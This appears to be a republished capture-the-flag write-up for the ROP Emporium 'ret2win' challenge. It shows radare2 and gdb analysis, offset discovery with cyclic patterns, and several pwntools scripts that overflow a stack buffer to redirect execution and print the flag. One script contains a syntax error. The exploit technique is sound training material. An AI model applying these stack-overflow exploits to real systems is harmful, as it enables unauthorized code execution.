ROP----The Solution For Ret2win

App:ret2win

https://ropemporium.com/binary/ret2win.zip

https://ropemporium.com/binary/ret2win32.zip

Target:Locate a method within the binary that you want to call and do so by overwriting a saved return address on the stack.

Tools:radare2, r2dec, pwntools, gef

Solution:

1. At first, we need to know which address could be overwirte,it's radare2's show time.

┌─[root@parrot]─[~/ret2win_pwn]
└──╼ #r2 -Ad ret2win //load ret2win in debug mode.
[0x7fd4834d2090]> afl //show all functions

0x00400650    1 41           entry0
0x00400610    1 6            sym.imp.__libc_start_main
0x00400680    4 50   -> 41   sym.deregister_tm_clones
0x004006c0    4 58   -> 55   sym.register_tm_clones
0x00400700    3 28           entry.fini0
0x00400720    4 38   -> 35   entry.init0
0x004007b5    1 92           sym.pwnme
0x00400600    1 6            sym.imp.memset
0x004005d0    1 6            sym.imp.puts
0x004005f0    1 6            sym.imp.printf
0x00400620    1 6            sym.imp.fgets
0x00400811    1 32           sym.ret2win
0x004005e0    1 6            sym.imp.system
0x004008b0    1 2            sym.__libc_csu_fini
0x004008b4    1 9            sym._fini
0x00400840    4 101          sym.__libc_csu_init
0x00400746    1 111          main
0x00400630    1 6            sym.imp.setvbuf
0x004005a0    3 26           sym._init
0x00400640    1 6            sym..plt.got
[0x7fd4834d2090]> s main             //jump to the first address for main function.
/ (fcn) main 111
|   int main (int argc, char **argv, char **envp);
|           ; DATA XREF from entry0 (0x40066d)
|           0x00400746      55             push rbp
|           0x00400747      4889e5         mov rbp, rsp
|           0x0040074a      488b050f0920.  mov rax, qword [obj.stdout]; MOV rax = [0x601060] = 0x0 rbp
 ; obj.__TMC_END ; [0x601060:8]=0
|           0x00400751      b900000000     mov ecx, 0
|           0x00400756      ba02000000     mov edx, 2
|           0x0040075b      be00000000     mov esi, 0
|           0x00400760      4889c7         mov rdi, rax
|           0x00400763      e8c8feffff     call sym.imp.setvbuf        ; int setvbuf(FILE*stream, char *buf, int mode, size_t size)
|           0x00400768      488b05110920.  mov rax, qword [obj.stderr]; MOV rax = [0x601080] = 0x0 rbp
 ; obj.stderr__GLIBC_2.2.5 ; [0x601080:8]=0
|           0x0040076f      b900000000     mov ecx, 0
|           0x00400774      ba02000000     mov edx, 2
|           0x00400779      be00000000     mov esi, 0
|           0x0040077e      4889c7         mov rdi, rax
|           0x00400781      e8aafeffff     call sym.imp.setvbuf        ; int setvbuf(FILE*stream, char *buf, int mode, size_t size)
|           0x00400786      bfc8084000     mov edi, str.ret2win_by_ROP_Emporium ; 0x4008c8 ; "ret2win by ROP Emporium"
|           0x0040078b      e840feffff     call sym.imp.puts           ; int puts(const char *s)
|           0x00400790      bfe0084000     mov edi, str.64bits         ; 0x4008e0 ; "64bits\n"            //This string could be show flag.
------------------------------------------------------------
|           0x00400795      e836feffff     call sym.imp.puts           ; int puts(const char *s)
|           0x0040079a      b800000000     mov eax, 0
|           0x0040079f      e811000000     call sym.pwnme
|           0x004007a4      bfe8084000     mov edi, str.Exiting        ; 0x4008e8 ; "\nExiting"
|           0x004007a9      e822feffff     call sym.imp.puts           ; int puts(const char *s)
|           0x004007ae      b800000000     mov eax, 0
|           0x004007b3      5d             pop rbp
\           0x004007b4      c3             ret

[0x00400746]> pd @ str.64bits

;-- "64bits\n":
            ; DATA XREF from main (0x400790)
            0x004008e0     .string "64bits\n" ; len=8
            ;-- "\nExiting":
            ; DATA XREF from main (0x4007a4)
            0x004008e8     .string "\nExiting" ; len=9
            0x004008f1      0000           add byte [rax], al
            0x004008f3      0000           add byte [rax], al
            0x004008f5      0000           add byte [rax], al
            0x004008f7  ~   00466f         add byte [rsi + 0x6f], al
            ;-- "For my first trick, I will attempt to fit 50 bytes of user input into 32 bytes of stack buffer;\nWhat could possibly go wrong?":
            ; DATA XREF from sym.pwnme (0x4007d3)
            0x004008f8     .string "For my first trick, I will attempt to fit 50 bytes of user input into 32 bytes of stack buffer;\nWhat could possibly go wrong?" ; len=126
  |||||||   0x00400976      0000           add byte [rax], al
  |||||||   ;-- "You there madam, may I have your input please? And don't worry about null bytes, we're using fgets!\n":
  |||||||   ; DATA XREF from sym.pwnme (0x4007dd)
  |||||||   0x00400978     .string "You there madam, may I have your input please? And don't worry about null bytes, we're using fgets!\n" ; len=101
    ||      ; DATA XREF from sym.pwnme (0x4007e7)
    ||      0x004009dd      3e2000         and byte ds:[rax], al
    ||      ;-- "Thank you! Here's your flag:":
    ||      ; DATA XREF from sym.ret2win (0x400815)
    ||      0x004009e0     .string "Thank you! Here's your flag:" ; len=29
            ;-- hit1_0:
            ;-- hit2_0:
            0x004009f7     .string "Thank you! Here's your flag:" ; len=29
            ;-- "/bin/cat flag.txt":
            ; DATA XREF from sym.ret2win (0x400824)
            0x004009fd     .string "/bin/cat flag.txt" ; len=18
 ;-- hit1_1:
            ;-- hit2_1:
            0x00400a06     .string "/bin/cat flag.txt" ; len=18
            0x00400a0f  ~   0001           add byte [rcx], al

The string "/bin/cat flag.txt" reference from sym.ret2win,we goto the function sym.ret2win.

[0x00400746]> s sym.ret2win //Goto the first address of ret2win function.

[0x00400811]> pdf //Show disassaemble code.

/ (fcn) sym.ret2win 32
|   sym.ret2win ();
|           0x00400811      55             push rbp
|           0x00400812      4889e5         mov rbp, rsp
|           0x00400815      bfe0094000     mov edi, str.Thank_you__Here_s_your_flag: ; 0x4009e0 ; "Thank you! Here's your flag:"
|           0x0040081a      b800000000     mov eax, 0
|           0x0040081f      e8ccfdffff     call sym.imp.printf         ; int printf(const char *format)
|           0x00400824      bffd094000     mov edi, str.bin_cat_flag.txt ; 0x4009fd ; "/bin/cat flag.txt"
|           0x00400829      e8b2fdffff     call sym.imp.system         ; int system(const char *string)
|           0x0040082e      90             nop
|           0x0040082f      5d             pop rbp
\           0x00400830      c3             ret

[0x00400811]> pd -20 //show 20 lines up

|           0x004007bd      488d45e0       lea rax, [var_20h]
|           0x004007c1      ba20000000     mov edx, 0x20               ; 32
|           0x004007c6      be00000000     mov esi, 0
|           0x004007cb      4889c7         mov rdi, rax
|           0x004007ce      e82dfeffff     call sym.imp.memset         ; void *memset(void *s, int c, size_t n)
|           0x004007d3      bff8084000     mov edi, str.For_my_first_trick__I_will_attempt_to_fit_50_bytes_of_user_input_into_32_bytes_of_stack_buffer___What_could_possibly_go_wrong ; 0x4008f8 ; "For my first trick, I will attempt to fit 50 bytes of user input into 32 bytes of stack buffer;\nWhat could possibly go wrong?"
|           0x004007d8      e8f3fdffff     call sym.imp.puts           ; int puts(const char *s)
|           0x004007dd      bf78094000     mov edi, str.You_there_madam__may_I_have_your_input_please__And_don_t_worry_about_null_bytes__we_re_using_fgets ; 0x400978 ; "You there madam, may I have your input please? And don't worry about null bytes, we're using fgets!\n"
|           0x004007e2      e8e9fdffff     call sym.imp.puts           ; int puts(const char *s)
|           0x004007e7      bfdd094000     mov edi, 0x4009dd
|           0x004007ec      b800000000     mov eax, 0
|           0x004007f1      e8fafdffff     call sym.imp.printf         ; int printf(const char *format)
|           0x004007f6      488b15730820.  mov rdx, qword [obj.stdin]; MOV rdx = [0x601070] = 0x0 rbp
 ; obj.stdin__GLIBC_2.2.5 ; [0x601070:8]=0
|           0x004007fd      488d45e0       lea rax, [var_20h]
|           0x00400801      be32000000     mov esi, 0x32               ; '2' ; 50
|           0x00400806      4889c7         mov rdi, rax
|           0x00400809      e812feffff     call sym.imp.fgets          ; char *fgets(char *s, int size, FILE *stream)
|           0x0040080e      90             nop
|           0x0040080f      c9             leave
\           0x00400810      c3             ret

Here is a return at 0x00400810,and next address is begin of the ret2win function.we could pacth this address with follow,it will skip return.

[0x00400811]> wa nop @ 0x00400810
or 
[0x00400811]> wx 90 @ 0x00400810
[0x00400811]> dc                     //Execute the binary.
ret2win by ROP Emporium
64bits

For my first trick, I will attempt to fit 50 bytes of user input into 32 bytes of stack buffer;
What could possibly go wrong?
You there madam, may I have your input please? And don't worry about null bytes, we're using fgets!

> 1111111
Thank you! Here's your flag:ROPE{a_placeholder_32byte_flag!}
 //Amazing the flag jump out.
child stopped with signal 17
[+] SIGNAL 17 errno=0 addr=0x00000723 code=1 ret=0
[+] signal 17 aka SIGCHLD received 0

We could use r2pipe plugin to create a script like below,

#!/usr/bin/env python2
import r2pipe

r =r2pipe.open('./ret2win',['-w'])
r.cmd('aaa')
r.cmd('wa ret @ 0x00400810')
r.quit()

2. In other way,we could use gdb to anaylze the bianary.

Only target:change the execute flow for the binary in order to run 'cat flag.txt' command,the return address is:0x00400810 as we already know.

┌─[root@parrot]─[~/ret2win_pwn]
└──╼ #gdb ret2win

gef➤  disassemble  main
Dump of assembler code for function main:
   0x0000000000400746 <+0>:     push   rbp
   0x0000000000400747 <+1>:     mov    rbp,rsp
=> 0x000000000040074a <+4>:     mov    rax,QWORD PTR [rip+0x20090f]        # 0x601060 <stdout@@GLIBC_2.2.5>
   0x0000000000400751 <+11>:    mov    ecx,0x0
   0x0000000000400756 <+16>:    mov    edx,0x2
   0x000000000040075b <+21>:    mov    esi,0x0
   0x0000000000400760 <+26>:    mov    rdi,rax
   0x0000000000400763 <+29>:    call   0x400630 <setvbuf@plt>
   0x0000000000400768 <+34>:    mov    rax,QWORD PTR [rip+0x200911]        # 0x601080 <stderr@@GLIBC_2.2.5>
   0x000000000040076f <+41>:    mov    ecx,0x0
   0x0000000000400774 <+46>:    mov    edx,0x2
   0x0000000000400779 <+51>:    mov    esi,0x0
   0x000000000040077e <+56>:    mov    rdi,rax
   0x0000000000400781 <+59>:    call   0x400630 <setvbuf@plt>
   0x0000000000400786 <+64>:    mov    edi,0x4008c8
   0x000000000040078b <+69>:    call   0x4005d0 <puts@plt>
   0x0000000000400790 <+74>:    mov    edi,0x4008e0
   0x0000000000400795 <+79>:    call   0x4005d0 <puts@plt>
   0x000000000040079a <+84>:    mov    eax,0x0
   0x000000000040079f <+89>:    call   0x4007b5 <pwnme>
   0x00000000004007a4 <+94>:    mov    edi,0x4008e8
   0x00000000004007a9 <+99>:    call   0x4005d0 <puts@plt>
   0x00000000004007ae <+104>:   mov    eax,0x0
   0x00000000004007b3 <+109>:   pop    rbp
   0x00000000004007b4 <+110>:   ret
gef➤  disassemble pwnme
Dump of assembler code for function pwnme:
   0x00000000004007b5 <+0>:     push   rbp
   0x00000000004007b6 <+1>:     mov    rbp,rsp
   0x00000000004007b9 <+4>:     sub    rsp,0x20
   0x00000000004007bd <+8>:     lea    rax,[rbp-0x20]
   0x00000000004007c1 <+12>:    mov    edx,0x20
   0x00000000004007c6 <+17>:    mov    esi,0x0
   0x00000000004007cb <+22>:    mov    rdi,rax
   0x00000000004007ce <+25>:    call   0x400600 <memset@plt>
   0x00000000004007d3 <+30>:    mov    edi,0x4008f8
   0x00000000004007d8 <+35>:    call   0x4005d0 <puts@plt>
   0x00000000004007dd <+40>:    mov    edi,0x400978
   0x00000000004007e2 <+45>:    call   0x4005d0 <puts@plt>
   0x00000000004007e7 <+50>:    mov    edi,0x4009dd
   0x00000000004007ec <+55>:    mov    eax,0x0
   0x00000000004007f1 <+60>:    call   0x4005f0 <printf@plt>
   0x00000000004007f6 <+65>:    mov    rdx,QWORD PTR [rip+0x200873]        # 0x601070 <stdin@@GLIBC_2.2.5>
   0x00000000004007fd <+72>:    lea    rax,[rbp-0x20]
   0x0000000000400801 <+76>:    mov    esi,0x32
   0x0000000000400806 <+81>:    mov    rdi,rax
   0x0000000000400809 <+84>:    call   0x400620 <fgets@plt>
   0x000000000040080e <+89>:    nop
   0x000000000040080f <+90>:    leave  
   0x0000000000400810 <+91>:    ret    
gef➤  disassemble  ret2win 
Dump of assembler code for function ret2win:
   0x0000000000400811 <+0>:     push   rbp
   0x0000000000400812 <+1>:     mov    rbp,rsp
   0x0000000000400815 <+4>:     mov    edi,0x4009e0
   0x000000000040081a <+9>:     mov    eax,0x0
   0x000000000040081f <+14>:    call   0x4005f0 <printf@plt>
   0x0000000000400824 <+19>:    mov    edi,0x4009fd
   0x0000000000400829 <+24>:    call   0x4005e0 <system@plt>
   0x000000000040082e <+29>:    nop
   0x000000000040082f <+30>:    pop    rbp
   0x0000000000400830 <+31>:    ret    

We could use r2dec plugin of radare2 to disassable pwnme function to readable code like below,it could check the length of buffer for input.

[0x00400746]> s sym.pwnme 
[0x004007b5]> pdda
    ; assembly                                       | /* r2dec pseudo code output */
                                                     | /* /root/ret2win_pwn/ret2win @ 0x4007b5 */
                                                     | #include <stdint.h>
                                                     |  
    ; (fcn) sym.pwnme ()                             | uint64_t pwnme (void) {
                                                     |     int32_t var_20h;
    0x004007b5 push rbp                              |     
    0x004007b6 mov rbp, rsp                          |     
    0x004007b9 sub rsp, 0x20                         |     
    0x004007bd lea rax, [rbp - 0x20]                 |     rax = &var_20h;
    0x004007c1 mov edx, 0x20                         |     
    0x004007c6 mov esi, 0                            |     
    0x004007cb mov rdi, rax                          |     
    0x004007ce call 0x400600                         |     memset (rax, 0, 0x20);
    0x004007d3 mov edi, 0x4008f8                     |     
    0x004007d8 call 0x4005d0                         |     puts ("For my first trick, I will attempt to fit 50 bytes of user input into 32 bytes of stack buffer;\nWhat could possibly go wrong?");
    0x004007dd mov edi, 0x400978                     |     
    0x004007e2 call 0x4005d0                         |     puts ("You there madam, may I have your input please? And don't worry about null bytes, we're using fgets!\n");
    0x004007e7 mov edi, 0x4009dd                     |     
    0x004007ec mov eax, 0                            |     eax = 0;
    0x004007f1 call 0x4005f0                         |     printf (0x4009dd);
    0x004007f6 mov rdx, qword [rip + 0x200873]       |     
    0x004007fd lea rax, [rbp - 0x20]                 |     rax = &var_20h;
    0x00400801 mov esi, 0x32                         |     
    0x00400806 mov rdi, rax                          |     
    0x00400809 call 0x400620                         |     fgets (rax, 0x32, *(obj.stdin));
    0x0040080e nop                                   |     
    0x0040080f leave                                 |     
    0x00400810 ret                                   |     return rax;
                                                     | }

The disassembly code "fgets (rax, 0x32, *(obj.stdin));" shows us the input buffer's lenth is 50.

We could use gef to generate a payload string,or use ragg2 or pwn as below.

In gef session,

gef➤pattern create 50
[+] Generating a pattern of 50 bytes
aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaaga
[+] Saved as '$_gef0'

under shell session,

┌─[✗]─[root@parrot]─[~]
└──╼ #pwn cyclic 50
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaama

┌─[root@parrot]─[~]
└──╼ #ragg2 -P 50 -r ;echo
AAABAACAADAAEAAFAAGAAHAAIAAJAAKAALAAMAANAAOAAPAAQA

Return to gdb session,run the binary with payload as input.

gef➤  b *0x0000000000400810
gef➤  r
Starting program: /root/ret2win_pwn/ret2win 
ret2win by ROP Emporium
64bits

For my first trick, I will attempt to fit 50 bytes of user input into 32 bytes of stack buffer;
What could possibly go wrong?
You there madam, may I have your input please? And don't worry about null bytes, we're using fgets!

> aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaaga

Program received signal SIGSEGV, Segmentation fault.
gef➤  x/s $rsp                   
0x7fffffffe1c8: "faaaaaaag"
gef➤  pattern search  faaa
[+] Searching 'faaa'
[+] Found at offset 37 (little-endian search) likely
[+] Found at offset 40 (big-endian search) 
gef➤ 

We could found the rsp regsiter has been overwriten by "faaaaaaag",so the real lenth which input could accept is 40. "pattern search faaa" command could validate it.

Generate a python script,

#!/usr/bin/env python2
import struct
import random
padding = "A"* 40
rbp = struct.pack("L",random.choice([0x0000000000400811,0x0000000000400812,0x0000000000400815,0x000000000040081a,0x000000000040081f,0x0000000000400824]))
#payload = "A"*4
#sh_bin = struct.pack("I",0x004009f0)

print padding + rbp  # +payload + sh_bin

Use pwntools to generate exploit.

┌─[root@parrot]─[~/ret2win_pwn]
└──╼ #python2 -c 'from pwn import *;print " /bin/sh".ljust(40,"A")+p64(0x0000000000400811)'
 /bin/shAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x1@\x00\x00\x00\x00\x00
┌─[root@parrot]─[~/ret2win_pwn]
└──╼ #python2 -c 'from pwn import *;print " /bin/sh".ljust(40,"A")+p64(0x0000000000400811)' |./ret2win
ret2win by ROP Emporium
64bits

For my first trick, I will attempt to fit 50 bytes of user input into 32 bytes of stack buffer;
What could possibly go wrong?
You there madam, may I have your input please? And don't worry about null bytes, we're using fgets!

> Thank you! Here's your flag:ROPE{a_placeholder_32byte_flag!}
Segmentation fault (core dumped)
 

So the script like below.

─[✗]─[root@parrot]─[~/ret2win_pwn]
└──╼ #cat exploit_pwn.py 
#!/usr/bin/env python2
import random
from pwn import * 

BIN = "./ret2win"
p = process(BIN)

x ="" /bin/sh".ljust(40,"!")+p64(random.choice([0x0000000000400811,0x0000000000400812,0x0000000000400815,0x000000000040081a,0x000000000040081f,0x0000000000400824]))
p.sendlineafter("> ",x)
p.interactive()
p.close()

Third method,use rop mode of pwntools to generator exploit.

┌─[root@parrot]─[~/ret2win_pwn]
└──╼ #pwn template ./ret2win > ret2win_64.py

Complete the script as below.

┌─[root@parrot]─[~/ret2win_pwn]
└──╼ #cat exploit_rop.py 
#!/usr/bin/env python2
# -*- coding: utf-8 -*-
# This exploit template was generated via:
# $ pwn template ret2win
from pwn import *

# Set up pwntools for the correct architecture
exe = context.binary = ELF('ret2win')

# Many built-in settings can be controlled on the command-line and show up
# in "args".  For example, to dump all data sent/received, and disable ASLR
# for all created processes...
# ./exploit.py DEBUG NOASLR


def start(argv=[], *a, **kw):
    '''Start the exploit against the target.'''
    if args.GDB:
        return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw)
    else:
        return process([exe.path] + argv, *a, **kw)

# Specify your GDB script here for debugging
# GDB will be launched if the exploit is run via e.g.
# ./exploit.py GDB
gdbscript = '''
break *0x{exe.symbols.main:x}
continue
'''.format(**locals())

#===========================================================
#                    EXPLOIT GOES HERE
#===========================================================
# Arch:     amd64-64-little
# RELRO:    Partial RELRO
# Stack:    No canary found
# NX:       NX enabled
# PIE:      No PIE (0x400000)

io = start()
buf = ''
buf += "A"*(cyclic_find('faaaaaaa',n=8)-len(buf))
r = ROP(exe)
r.call('ret2win',[])
log.info(r.dump())
buf += str(r)
io.sendline(buf)
io.recvuntil('flag:')
log.success('Flag is: %s' % io.recvall())

the script for 32bit binary like below,

#!/usr/bin/env python2
# -*- coding: utf-8 -*-

from pwn import *
exe = context.binary = ELF('ret2win')
def start(argv=[], *a, **kw):
    '''Start the exploit against the target.'''
    if args.GDB:
        return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw)
    else:
        return process([exe.path] + argv, *a, **kw)
gdbscript = '''
break *0x{exe.symbols.main:x}
continue
'''.format(**locals())
io = start()
buf = ''
buf += "A"*(cyclic_find('laaa')-len(buf))
r = ROP(exe)
r.call('ret2win',[])
log.info(r.dump())
buf += str(r)
io.sendline(buf)
io.recvuntil('flag:')
log.success('Flag is: %s' % io.recvall())

转载于:https://www.cnblogs.com/heycomputer/articles/10977478.html

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值